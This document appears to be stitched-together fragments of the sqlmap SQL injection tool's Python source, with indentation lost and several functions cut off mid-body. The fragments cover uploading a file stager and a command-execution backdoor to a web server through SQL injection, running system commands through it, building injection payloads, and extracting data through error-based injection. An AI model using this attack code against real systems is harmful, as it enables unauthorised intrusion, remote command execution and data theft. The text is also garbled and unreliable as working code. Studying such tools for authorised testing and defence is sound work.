if value != cookie:
page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)
parseFilePaths(page)
value = re.sub(r"(\A|;)(\w+)=[^;]*", r"\g<2>=", cookie)
if value != cookie:
page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)
parseFilePaths(page)
directories = list(arrayizeValue(getManualDirectories()))
directories.extend(getAutoDirectories())
directories = list(OrderedSet(directories))
path = _urllib.parse.urlparse(conf.url).path or '/'
path = re.sub(r"/[^/]*\.\w+\Z", '/', path)
if path != '/':
_ = []
for directory in directories:
_.append(directory)
if not directory.endswith(path):
_.append("%s/%s" % (directory.rstrip('/'), path.strip('/')))
directories = _
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webPlatform)
backdoorContent = getText(decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.%s_" % self.webPlatform)))
stagerContent = getText(decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webPlatform)))
for directory in directories:
if not directory:
continue
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webPlatform)
self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)
uploaded = False
directory = ntToPosixSlashes(normalizePath(directory))
if not isWindowsDriveLetterPath(directory) and not directory.startswith('/'):
directory = "/%s" % directory
if not directory.endswith('/'):
directory += '/'
# Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE method
infoMsg = "trying to upload the file stager on '%s' " % directory
infoMsg += "via LIMIT 'LINES TERMINATED BY' method"
logger.info(infoMsg)
self._webFileInject(stagerContent, stagerName, directory)
for match in re.finditer('/', directory):
self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
self.webStagerUrl = _urllib.parse.urljoin(self.webBaseUrl, stagerName)
debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" in uplPage:
uploaded = True
break
# Fall-back to UNION queries file upload method
if not uploaded:
warnMsg = "unable to upload the file stager "
warnMsg += "on '%s'" % directory
singleTimeWarnMessage(warnMsg)
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
infoMsg = "trying to upload the file stager on '%s' " % directory
infoMsg += "via UNION method"
logger.info(infoMsg)
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webPlatform)
self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)
handle, filename = tempfile.mkstemp()
os.close(handle)
with openFile(filename, "w+b") as f:
_ = getText(decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webPlatform)))
_ = _.replace(SHELL_WRITABLE_DIR_TAG, directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)
f.write(_)
self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True)
for match in re.finditer('/', directory):
self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
self.webStagerUrl = _urllib.parse.urljoin(self.webBaseUrl, stagerName)
debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" in uplPage:
uploaded = True
break
if not uploaded:
continue
if "<%" in uplPage or "<?" in uplPage:
warnMsg = "file stager uploaded on '%s', " % directory
warnMsg += "but not dynamically interpreted"
logger.warn(warnMsg)
continue
elif self.webPlatform == WEB_PLATFORM.ASPX:
kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage)
kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage)
infoMsg = "the file stager has been successfully uploaded "
infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl)
logger.info(infoMsg)
if self.webPlatform == WEB_PLATFORM.ASP:
match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)
if match:
backdoorDirectory = match.group(1)
else:
continue
_ = "tmpe%s.exe" % randomStr(lowercase=True)
if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace(SHELL_WRITABLE_DIR_TAG, backdoorDirectory).replace(SHELL_RUNCMD_EXE_TAG, _)):
self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_EXTRAS_PATH, "runcmd", "runcmd.exe_"))
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
self.webDirectory = backdoorDirectory
else:
continue
else:
if not self.webUpload(backdoorName, posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory, content=backdoorContent):
warnMsg = "backdoor has not been successfully uploaded "
warnMsg += "through the file stager possibly because "
warnMsg += "the user running the web server process "
warnMsg += "has not write privileges over the folder "
warnMsg += "where the user running the DBMS process "
warnMsg += "was able to upload the file stager or "
warnMsg += "because the DBMS and web server sit on "
warnMsg += "different servers"
logger.warn(warnMsg)
message = "do you want to try the same method used "
message += "for the file stager? [Y/n] "
if readInput(message, default='Y', boolean=True):
self._webFileInject(backdoorContent, backdoorName, directory)
else:
continue
self.webBackdoorUrl = posixpath.join(ntToPosixSlashes(self.webBaseUrl), backdoorName)
self.webDirectory = directory
self.webBackdoorFilePath = posixpath.join(ntToPosixSlashes(directory), backdoorName)
testStr = "command execution test"
output = self.webBackdoorRunCmd("echo %s" % testStr)
if output == "0":
warnMsg = "the backdoor has been uploaded but required privileges "
warnMsg += "for running the system commands are missing"
raise SqlmapNoneDataException(warnMsg)
elif output and testStr in output:
infoMsg = "the backdoor has been successfully "
else:
infoMsg = "the backdoor has probably been successfully "
infoMsg += "uploaded on '%s' - " % self.webDirectory
infoMsg += self.webBackdoorUrl
logger.info(infoMsg)
break
singleTimeLogMessage(errMsg, logging.ERROR)
warnMsg = "turning off page compression"
singleTimeWarnMessage(warnMsg)
kb.pageCompress = False
raise SqlmapCompressionException
if not conf.charset:
httpCharset, metaCharset = None, None
# Reference: http://stackoverflow.com/questions/1020892/python-urllib2-read-to-unicode
if contentType and (contentType.find("charset=") != -1):
httpCharset = checkCharEncoding(contentType.split("charset=")[-1])
metaCharset = checkCharEncoding(extractRegexResult(META_CHARSET_REGEX, page))
if (any((httpCharset, metaCharset)) and not all((httpCharset, metaCharset)))\
or (httpCharset == metaCharset and all((httpCharset, metaCharset))):
kb.pageEncoding = httpCharset or metaCharset
debugMsg = "declared web page charset '%s'" % kb.pageEncoding
singleTimeLogMessage(debugMsg, logging.DEBUG, debugMsg)
else:
kb.pageEncoding = None
else:
kb.pageEncoding = conf.charset
# can't do for all responses because we need to support binary files too
if contentType and not isinstance(page, unicode) and "text/" in contentType.lower():
# e.g. Ãëàâà
if "&#" in page:
def start():
"""
This function calls a function that performs checks on both URL
stability and all GET, POST, Cookie and User-Agent parameters to
check if they are dynamic and SQL injection affected
"""
if conf.hashFile:
crackHashFile(conf.hashFile)
if conf.direct:
initTargetEnv()
setupTargetEnv()
action()
return True
if conf.url and not any((conf.forms, conf.crawlDepth)):
kb.targets.add((conf.url, conf.method, conf.data, conf.cookie, None))
if conf.configFile and not kb.targets:
errMsg = "you did not edit the configuration file properly, set "
errMsg += "the target URL, list of targets or google dork"
logger.error(errMsg)
return False
if kb.targets and len(kb.targets) > 1:
infoMsg = "found a total of %d targets" % len(kb.targets)
logger.info(infoMsg)
hostCount = 0
initialHeaders = list(conf.httpHeaders)
for targetUrl, targetMethod, targetData, targetCookie, targetHeaders in kb.targets:
try:
if conf.checkInternet:
infoMsg = "checking for Internet connection"
logger.info(infoMsg)
if not checkInternet():
warnMsg = "[%s] [WARNING] no connection detected" % time.strftime(
"%X")
dataToStdout(warnMsg)
while not checkInternet():
dataToStdout('.')
time.sleep(5)
dataToStdout("\n")
conf.url = targetUrl
conf.method = targetMethod.upper(
) if targetMethod else targetMethod
conf.data = targetData
conf.cookie = targetCookie
conf.httpHeaders = list(initialHeaders)
conf.httpHeaders.extend(targetHeaders or [])
if conf.randomAgent or conf.mobile:
for header, value in initialHeaders:
if header.upper() == HTTP_HEADER.USER_AGENT.upper():
conf.httpHeaders.append((header, value))
break
conf.httpHeaders = [
conf.httpHeaders[i] for i in xrange(len(conf.httpHeaders))
if conf.httpHeaders[i][0].upper() not in (
__[0].upper() for __ in conf.httpHeaders[i + 1:])
]
initTargetEnv()
parseTargetUrl()
testSqlInj = False
if PLACE.GET in conf.parameters and not any(
(conf.data, conf.testParameter)):
for parameter in re.findall(
r"([^=]+)=([^%s]+%s?|\Z)" %
(re.escape(conf.paramDel or "") or
DEFAULT_GET_POST_DELIMITER, re.escape(conf.paramDel or "")
or DEFAULT_GET_POST_DELIMITER),
conf.parameters[PLACE.GET]):
paramKey = (conf.hostname, conf.path, PLACE.GET,
parameter[0])
if paramKey not in kb.testedParams:
testSqlInj = True
break
else:
paramKey = (conf.hostname, conf.path, None, None)
if paramKey not in kb.testedParams:
testSqlInj = True
if testSqlInj and conf.hostname in kb.vulnHosts:
if kb.skipVulnHost is None:
message = "SQL injection vulnerability has already been detected "
message += "against '%s'. Do you want to skip " % conf.hostname
message += "further tests involving it? [Y/n]"
kb.skipVulnHost = readInput(message,
default='Y',
boolean=True)
testSqlInj = not kb.skipVulnHost
if not testSqlInj:
infoMsg = "skipping '%s'" % targetUrl
logger.info(infoMsg)
continue
if conf.multipleTargets:
hostCount += 1
if conf.forms and conf.method:
message = "[#%d] form:\n%s %s" % (hostCount, conf.method,
targetUrl)
else:
message = "URL %d:\n%s %s" % (hostCount, HTTPMETHOD.GET,
targetUrl)
if conf.cookie:
message += "\nCookie: %s" % conf.cookie
if conf.data is not None:
message += "\n%s data: %s" % (
(conf.method
if conf.method != HTTPMETHOD.GET else conf.method)
or HTTPMETHOD.POST, urlencode(conf.data or "")
if re.search(r"\A\s*[<{]", conf.data or "") is None
else conf.data)
if conf.forms and conf.method:
if conf.method == HTTPMETHOD.GET and targetUrl.find(
"?") == -1:
continue
message += "\ndo you want to test this form? [Y/n/q] "
choice = readInput(message, default='Y').upper()
if choice == 'N':
continue
elif choice == 'Q':
break
else:
if conf.method != HTTPMETHOD.GET:
message = "Edit %s data [default: %s]%s: " % (
conf.method, urlencode(conf.data or "")
if re.search(r"\A\s*[<{]", conf.data
or "None") is None else conf.data,
" (Warning: blank fields detected)"
if conf.data and extractRegexResult(
EMPTY_FORM_FIELDS_REGEX, conf.data) else
"")
conf.data = readInput(message, default=conf.data)
conf.data = _randomFillBlankFields(conf.data)
conf.data = urldecode(
conf.data) if conf.data and urlencode(
DEFAULT_GET_POST_DELIMITER,
None) not in conf.data else conf.data
else:
if '?' in targetUrl:
firstPart, secondPart = targetUrl.split('?', 1)
message = "Edit GET data [default: %s]: " % secondPart
test = readInput(message, default=secondPart)
test = _randomFillBlankFields(test)
conf.url = "%s?%s" % (firstPart, test)
parseTargetUrl()
else:
message += "\ndo you want to test this URL? [Y/n/q]"
choice = readInput(message, default='Y').upper()
if choice == 'N':
dataToStdout(os.linesep)
continue
elif choice == 'Q':
break
infoMsg = "testing URL '%s'" % targetUrl
logger.info(infoMsg)
setupTargetEnv()
if not checkConnection(suppressOutput=conf.forms
) or not checkString() or not checkRegexp():
continue
if conf.rParam and kb.originalPage:
kb.randomPool = dict([
_ for _ in kb.randomPool.items() if isinstance(_[1], list)
])
for match in re.finditer(
r"(?si)<select[^>]+\bname\s*=\s*[\"']([^\"']+)(.+?)</select>",
kb.originalPage):
name, _ = match.groups()
options = tuple(
re.findall(r"<option[^>]+\bvalue\s*=\s*[\"']([^\"']+)",
_))
if options:
kb.randomPool[name] = options
checkWaf()
if conf.nullConnection:
checkNullConnection()
if (len(kb.injections) == 0 or
(len(kb.injections) == 1 and kb.injections[0].place is None)
) and (kb.injection.place is None
or kb.injection.parameter is None):
if not any((conf.string, conf.notString, conf.regexp
)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.technique:
# NOTE: this is not needed anymore, leaving only to display
# a warning message to the user in case the page is not stable
checkStability()
# Do a little prioritization reorder of a testable parameter list
parameters = list(conf.parameters.keys())
# Order of testing list (first to last)
orderList = (PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER, PLACE.URI,
PLACE.POST, PLACE.GET)
for place in orderList[::-1]:
if place in parameters:
parameters.remove(place)
parameters.insert(0, place)
proceed = True
for place in parameters:
# Test User-Agent and Referer headers only if
# --level >= 3
skip = (place == PLACE.USER_AGENT and conf.level < 3)
skip |= (place == PLACE.REFERER and conf.level < 3)
# --param-filter
skip |= (len(conf.paramFilter) > 0
and place.upper() not in conf.paramFilter)
# Test Host header only if
# --level >= 5
skip |= (place == PLACE.HOST and conf.level < 5)
# Test Cookie header only if --level >= 2
skip |= (place == PLACE.COOKIE and conf.level < 2)
skip |= (place == PLACE.USER_AGENT and intersect(
USER_AGENT_ALIASES, conf.skip, True) not in ([], None))
skip |= (place == PLACE.REFERER and intersect(
REFERER_ALIASES, conf.skip, True) not in ([], None))
skip |= (place == PLACE.COOKIE and intersect(
PLACE.COOKIE, conf.skip, True) not in ([], None))
skip |= (place == PLACE.HOST and intersect(
PLACE.HOST, conf.skip, True) not in ([], None))
skip &= not (place == PLACE.USER_AGENT and intersect(
USER_AGENT_ALIASES, conf.testParameter, True))
skip &= not (place == PLACE.REFERER and intersect(
REFERER_ALIASES, conf.testParameter, True))
skip &= not (place == PLACE.HOST and intersect(
HOST_ALIASES, conf.testParameter, True))
skip &= not (place == PLACE.COOKIE and intersect(
(PLACE.COOKIE, ), conf.testParameter, True))
if skip:
continue
if place not in conf.paramDict:
continue
paramDict = conf.paramDict[place]
paramType = conf.method if conf.method not in (
None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place
for parameter, value in paramDict.items():
if not proceed:
break
kb.vainRun = False
testSqlInj = True
paramKey = (conf.hostname, conf.path, place, parameter)
if paramKey in kb.testedParams:
testSqlInj = False
infoMsg = "skipping previously processed %sparameter '%s'" % (
"%s " % paramType
if paramType != parameter else "", parameter)
logger.info(infoMsg)
elif any(_ in conf.testParameter
for _ in (parameter,
removePostHintPrefix(parameter))):
pass
elif parameter in conf.rParam:
testSqlInj = False
infoMsg = "skipping randomizing %sparameter '%s'" % (
"%s " % paramType
if paramType != parameter else "", parameter)
logger.info(infoMsg)
elif parameter in conf.skip or kb.postHint and parameter.split(
' ')[-1] in conf.skip:
testSqlInj = False
infoMsg = "skipping %sparameter '%s'" % (
"%s " % paramType
if paramType != parameter else "", parameter)
logger.info(infoMsg)
elif conf.paramExclude and (
re.search(conf.paramExclude, parameter, re.I)
or kb.postHint
and re.search(conf.paramExclude,
parameter.split(' ')[-1], re.I)):
testSqlInj = False
infoMsg = "skipping %sparameter '%s'" % (
"%s " % paramType
if paramType != parameter else "", parameter)
logger.info(infoMsg)
elif conf.csrfToken and re.search(
conf.csrfToken, parameter, re.I):
testSqlInj = False
infoMsg = "skipping anti-CSRF token parameter '%s'" % parameter
logger.info(infoMsg)
# Ignore session-like parameters for --level < 4
elif conf.level < 4 and (
parameter.upper() in IGNORE_PARAMETERS
or any(_ in parameter.lower()
for _ in CSRF_TOKEN_PARAMETER_INFIXES)
or parameter.upper().startswith(
GOOGLE_ANALYTICS_COOKIE_PREFIX)):
testSqlInj = False
infoMsg = "ignoring %sparameter '%s'" % (
"%s " % paramType
if paramType != parameter else "", parameter)
logger.info(infoMsg)
elif PAYLOAD.TECHNIQUE.BOOLEAN in conf.technique or conf.skipStatic:
check = checkDynParam(place, parameter, value)
if not check:
warnMsg = "%sparameter '%s' does not appear to be dynamic" % (
"%s " % paramType if paramType != parameter
else "", parameter)
logger.warn(warnMsg)
if conf.skipStatic:
infoMsg = "skipping static %sparameter '%s'" % (
"%s " % paramType if paramType !=
parameter else "", parameter)
logger.info(infoMsg)
testSqlInj = False
else:
infoMsg = "%sparameter '%s' appears to be dynamic" % (
"%s " % paramType if paramType != parameter
else "", parameter)
logger.info(infoMsg)
kb.testedParams.add(paramKey)
if testSqlInj:
try:
if place == PLACE.COOKIE:
pushValue(kb.mergeCookies)
kb.mergeCookies = False
check = heuristicCheckSqlInjection(
place, parameter)
if check != HEURISTIC_TEST.POSITIVE:
if conf.smart or (
kb.ignoreCasted and check
== HEURISTIC_TEST.CASTED):
infoMsg = "skipping %sparameter '%s'" % (
"%s " % paramType if paramType !=
parameter else "", parameter)
logger.info(infoMsg)
continue
infoMsg = "testing for SQL injection on %sparameter '%s'" % (
"%s " % paramType if paramType != parameter
else "", parameter)
logger.info(infoMsg)
injection = checkSqlInjection(
place, parameter, value)
proceed = not kb.endDetection
injectable = False
if getattr(injection, "place",
None) is not None:
if NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE in injection.notes:
kb.falsePositives.append(injection)
else:
injectable = True
kb.injections.append(injection)
# In case when user wants to end detection phase (Ctrl+C)
if not proceed:
break
msg = "%sparameter '%s' " % (
"%s " %
injection.place if injection.place
!= injection.parameter else "",
injection.parameter)
msg += "is vulnerable. Do you want to keep testing the others (if any)? [y/N] "
if not readInput(msg,
default='N',
boolean=True):
proceed = False
paramKey = (conf.hostname,
conf.path, None, None)
kb.testedParams.add(paramKey)
if not injectable:
warnMsg = "%sparameter '%s' does not seem to be injectable" % (
"%s " % paramType if paramType !=
parameter else "", parameter)
logger.warn(warnMsg)
finally:
if place == PLACE.COOKIE:
kb.mergeCookies = popValue()
if len(kb.injections) == 0 or (len(kb.injections) == 1
and kb.injections[0].place is None):
if kb.vainRun and not conf.multipleTargets:
errMsg = "no parameter(s) found for testing in the provided data "
errMsg += "(e.g. GET parameter 'id' in 'www.site.com/index.php?id=1')"
if kb.originalPage:
advice = []
if not conf.forms and re.search(
r"<form", kb.originalPage) is not None:
advice.append("--forms")
if not conf.crawlDepth and re.search(
r"href=[\"']/?\w",
kb.originalPage) is not None:
advice.append("--crawl=2")
if advice:
errMsg += ". You are advised to rerun with '%s'" % ' '.join(
advice)
raise SqlmapNoneDataException(errMsg)
else:
errMsg = "all tested parameters do not appear to be injectable."
if conf.level < 5 or conf.risk < 3:
errMsg += " Try to increase values for '--level'/'--risk' options "
errMsg += "if you wish to perform more tests."
if isinstance(conf.technique,
list) and len(conf.technique) < 5:
errMsg += " Rerun without providing the option '--technique'."
if not conf.textOnly and kb.originalPage:
percent = (
100.0 *
len(getFilteredPageContent(kb.originalPage)) /
len(kb.originalPage))
if kb.dynamicMarkings:
errMsg += " You can give it a go with the switch '--text-only' "
errMsg += "if the target page has a low percentage "
errMsg += "of textual content (~%.2f%% of " % percent
errMsg += "page content is text)."
elif percent < LOW_TEXT_PERCENT and not kb.errorIsNone:
errMsg += " Please retry with the switch '--text-only' "
errMsg += "(along with --technique=BU) as this case "
errMsg += "looks like a perfect candidate "
errMsg += "(low textual content along with inability "
errMsg += "of comparison engine to detect at least "
errMsg += "one dynamic parameter)."
if kb.heuristicTest == HEURISTIC_TEST.POSITIVE:
errMsg += " As heuristic test turned out positive you are "
errMsg += "strongly advised to continue on with the tests."
if conf.string:
errMsg += " Also, you can try to rerun by providing a "
errMsg += "valid value for option '--string' as perhaps the string you "
errMsg += "have chosen does not match "
errMsg += "exclusively True responses."
elif conf.regexp:
errMsg += " Also, you can try to rerun by providing a "
errMsg += "valid value for option '--regexp' as perhaps the regular "
errMsg += "expression that you have chosen "
errMsg += "does not match exclusively True responses."
if not conf.tamper:
errMsg += " If you suspect that there is some kind of protection mechanism "
errMsg += "involved (e.g. WAF) maybe you could try to use "
errMsg += "option '--tamper' (e.g. '--tamper=space2comment')"
if not conf.randomAgent:
errMsg += " and/or switch '--random-agent'"
raise SqlmapNotVulnerableException(errMsg.rstrip('.'))
else:
# Flush the flag
kb.testMode = False
_saveToResultsFile()
_saveToHashDB()
_showInjections()
_selectInjection()
if kb.injection.place is not None and kb.injection.parameter is not None:
if conf.multipleTargets:
message = "do you want to exploit this SQL injection? [Y/n] "
condition = readInput(message, default='Y', boolean=True)
else:
condition = True
if condition:
action()
except KeyboardInterrupt:
if conf.multipleTargets:
warnMsg = "user aborted in multiple target mode"
logger.warn(warnMsg)
message = "do you want to skip to the next target in list? [Y/n/q]"
choice = readInput(message, default='Y').upper()
if choice == 'N':
return False
elif choice == 'Q':
raise SqlmapUserQuitException
else:
raise
except SqlmapSkipTargetException:
pass
except SqlmapUserQuitException:
raise
except SqlmapSilentQuitException:
raise
except SqlmapBaseException as ex:
errMsg = getSafeExString(ex)
if conf.multipleTargets:
_saveToResultsFile()
errMsg += ", skipping to the next %s" % ("form" if conf.forms
else "URL")
logger.error(errMsg.lstrip(", "))
else:
logger.critical(errMsg)
return False
finally:
showHttpErrorCodes()
if kb.maxConnectionsFlag:
warnMsg = "it appears that the target "
warnMsg += "has a maximum connections "
warnMsg += "constraint"
logger.warn(warnMsg)
if kb.dataOutputFlag and not conf.multipleTargets:
logger.info("fetched data logged to text files under '%s'" %
conf.outputPath)
if conf.multipleTargets:
if conf.resultsFile:
infoMsg = "you can find results of scanning in multiple targets "
infoMsg += "mode inside the CSV file '%s'" % conf.resultsFile
logger.info(infoMsg)
return True
def payload(self, place=None, parameter=None, value=None, newValue=None, where=None):
"""
This method replaces the affected parameter with the SQL
injection statement to request
"""
if conf.direct:
return self.payloadDirect(newValue)
retVal = ""
if where is None and isTechniqueAvailable(kb.technique):
where = kb.injection.data[kb.technique].where
if kb.injection.place is not None:
place = kb.injection.place
if kb.injection.parameter is not None:
parameter = kb.injection.parameter
paramString = conf.parameters[place]
paramDict = conf.paramDict[place]
origValue = paramDict[parameter]
if place == PLACE.URI:
paramString = origValue
origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0]
origValue = origValue[origValue.rfind('/') + 1:]
for char in ('?', '=', ':'):
if char in origValue:
origValue = origValue[origValue.rfind(char) + 1:]
elif place == PLACE.CUSTOM_POST:
paramString = origValue
origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0]
if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML):
origValue = origValue.split('>')[-1]
elif kb.postHint == POST_HINT.JSON:
origValue = extractRegexResult(r"(?s)\"\s*:\s*(?P<result>\d+\Z)", origValue) or extractRegexResult(r'(?s)(?P<result>[^"]+\Z)', origValue)
else:
origValue = extractRegexResult(r"(?s)(?P<result>[^\s<>{}();'\"]+\Z)", origValue) or ""
elif place == PLACE.CUSTOM_HEADER:
paramString = origValue
origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0]
origValue = origValue[origValue.index(',') + 1:]
if value is None:
if where == PAYLOAD.WHERE.ORIGINAL:
value = origValue
elif where == PAYLOAD.WHERE.NEGATIVE:
if conf.invalidLogical:
match = re.search(r'\A[^ ]+', newValue)
newValue = newValue[len(match.group() if match else ""):]
_ = randomInt(2)
value = "%s%s AND %s=%s" % (origValue, match.group() if match else "", _, _ + 1)
elif conf.invalidBignum:
value = "%d.%d" % (randomInt(6), randomInt(1))
else:
if newValue.startswith("-"):
value = ""
else:
value = "-%s" % randomInt()
elif where == PAYLOAD.WHERE.REPLACE:
value = ""
else:
value = origValue
newValue = "%s%s" % (value, newValue)
newValue = self.cleanupPayload(newValue, origValue)
if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
_ = "%s%s" % (origValue, CUSTOM_INJECTION_MARK_CHAR)
if kb.postHint == POST_HINT.JSON and not isNumber(newValue) and not '"%s"' % _ in paramString:
newValue = '"%s"' % newValue
newValue = newValue.replace(CUSTOM_INJECTION_MARK_CHAR, REPLACEMENT_MARKER)
retVal = paramString.replace(_, self.addPayloadDelimiters(newValue))
retVal = retVal.replace(CUSTOM_INJECTION_MARK_CHAR, "").replace(REPLACEMENT_MARKER, CUSTOM_INJECTION_MARK_CHAR)
elif place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST):
retVal = paramString.replace(origValue, self.addPayloadDelimiters(newValue))
else:
retVal = re.sub(r"(\A|\b)%s=%s" % (re.escape(parameter), re.escape(origValue)), "%s=%s" % (parameter, self.addPayloadDelimiters(newValue)), paramString)
return retVal
warnMsg = "turning off page compression"
singleTimeWarnMessage(warnMsg)
kb.pageCompress = False
raise SqlmapCompressionException
if not conf.encoding:
httpCharset, metaCharset = None, None
# Reference: http://stackoverflow.com/questions/1020892/python-urllib2-read-to-unicode
if contentType.find("charset=") != -1:
httpCharset = checkCharEncoding(contentType.split("charset=")[-1])
metaCharset = checkCharEncoding(
extractRegexResult(META_CHARSET_REGEX, page))
if (any((httpCharset, metaCharset)) and not all(
(httpCharset, metaCharset))) or (httpCharset == metaCharset
and all(
(httpCharset, metaCharset))):
kb.pageEncoding = httpCharset or metaCharset # Reference: http://bytes.com/topic/html-css/answers/154758-http-equiv-vs-true-header-has-precedence
debugMsg = "declared web page charset '%s'" % kb.pageEncoding
singleTimeLogMessage(debugMsg, logging.DEBUG, debugMsg)
else:
kb.pageEncoding = None
else:
kb.pageEncoding = conf.encoding
# can't do for all responses because we need to support binary files too
if not isinstance(page, unicode) and "text/" in contentType:
def _oneShotErrorUse(expression, field=None, chunkTest=False):
offset = 1
partialValue = None
threadData = getCurrentThreadData()
retVal = hashDBRetrieve(expression, checkConf=True)
if retVal and PARTIAL_VALUE_MARKER in retVal:
partialValue = retVal = retVal.replace(PARTIAL_VALUE_MARKER, "")
logger.info("resuming partial value: '%s'" % _formatPartialContent(partialValue))
offset += len(partialValue)
threadData.resumed = retVal is not None and not partialValue
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and kb.errorChunkLength is None and not chunkTest and not kb.testMode:
debugMsg = "searching for error chunk length..."
logger.debug(debugMsg)
current = MAX_ERROR_CHUNK_LENGTH
while current >= MIN_ERROR_CHUNK_LENGTH:
testChar = str(current % 10)
testQuery = "SELECT %s('%s',%d)" % ("REPEAT" if Backend.isDbms(DBMS.MYSQL) else "REPLICATE", testChar, current)
result = unArrayizeValue(_oneShotErrorUse(testQuery, chunkTest=True))
if result and testChar in result:
if result == testChar * current:
kb.errorChunkLength = current
break
else:
current = len(result) - len(kb.chars.stop)
else:
current = current / 2
if kb.errorChunkLength:
hashDBWrite(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH, kb.errorChunkLength)
else:
kb.errorChunkLength = 0
if retVal is None or partialValue:
try:
while True:
check = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop)
trimcheck = "%s(?P<result>[^<]*)" % (kb.chars.start)
if field:
nulledCastedField = agent.nullAndCastField(field)
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and not any(_ in field for _ in ("COUNT", "CASE")) and kb.errorChunkLength and not chunkTest:
extendedField = re.search(r"[^ ,]*%s[^ ,]*" % re.escape(field), expression).group(0)
if extendedField != field: # e.g. MIN(surname)
nulledCastedField = extendedField.replace(field, nulledCastedField)
field = extendedField
nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, kb.errorChunkLength)
# Forge the error-based SQL injection request
vector = kb.injection.data[kb.technique].vector
query = agent.prefixQuery(vector)
query = agent.suffixQuery(query)
injExpression = expression.replace(field, nulledCastedField, 1) if field else expression
injExpression = unescaper.escape(injExpression)
injExpression = query.replace("[QUERY]", injExpression)
payload = agent.payload(newValue=injExpression)
# Perform the request
page, headers = Request.queryPage(payload, content=True, raise404=False)
incrementCounter(kb.technique)
if page and conf.noEscape:
page = re.sub(r"('|\%%27)%s('|\%%27).*?('|\%%27)%s('|\%%27)" % (kb.chars.start, kb.chars.stop), "", page)
# Parse the returned page to get the exact error-based
# SQL injection output
output = reduce(lambda x, y: x if x is not None else y, (\
extractRegexResult(check, page, re.DOTALL | re.IGNORECASE), \
extractRegexResult(check, listToStrValue([headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()] \
if headers else None), re.DOTALL | re.IGNORECASE), \
extractRegexResult(check, threadData.lastRedirectMsg[1] \
if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)), \
None)
if output is not None:
output = getUnicode(output)
else:
trimmed = extractRegexResult(trimcheck, page, re.DOTALL | re.IGNORECASE) \
or extractRegexResult(trimcheck, listToStrValue([headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()] \
if headers else None), re.DOTALL | re.IGNORECASE) \
or extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] \
if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)
if trimmed:
if not chunkTest:
warnMsg = "possible server trimmed output detected "
warnMsg += "(due to its length and/or content): "
warnMsg += safecharencode(trimmed)
logger.warn(warnMsg)
if not kb.testMode:
check = "(?P<result>.*?)%s" % kb.chars.stop[:2]
output = extractRegexResult(check, trimmed, re.IGNORECASE)
if not output:
check = "(?P<result>[^\s<>'\"]+)"
output = extractRegexResult(check, trimmed, re.IGNORECASE)
else:
output = output.rstrip()
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)):
if offset == 1:
retVal = output
else:
retVal += output if output else ''
if output and kb.errorChunkLength and len(output) >= kb.errorChunkLength and not chunkTest:
offset += kb.errorChunkLength
else:
break
if kb.fileReadMode and output:
dataToStdout(_formatPartialContent(output).replace(r"\n", "\n").replace(r"\t", "\t"))
else:
retVal = output
break
except:
if retVal is not None:
hashDBWrite(expression, "%s%s" % (retVal, PARTIAL_VALUE_MARKER))
raise
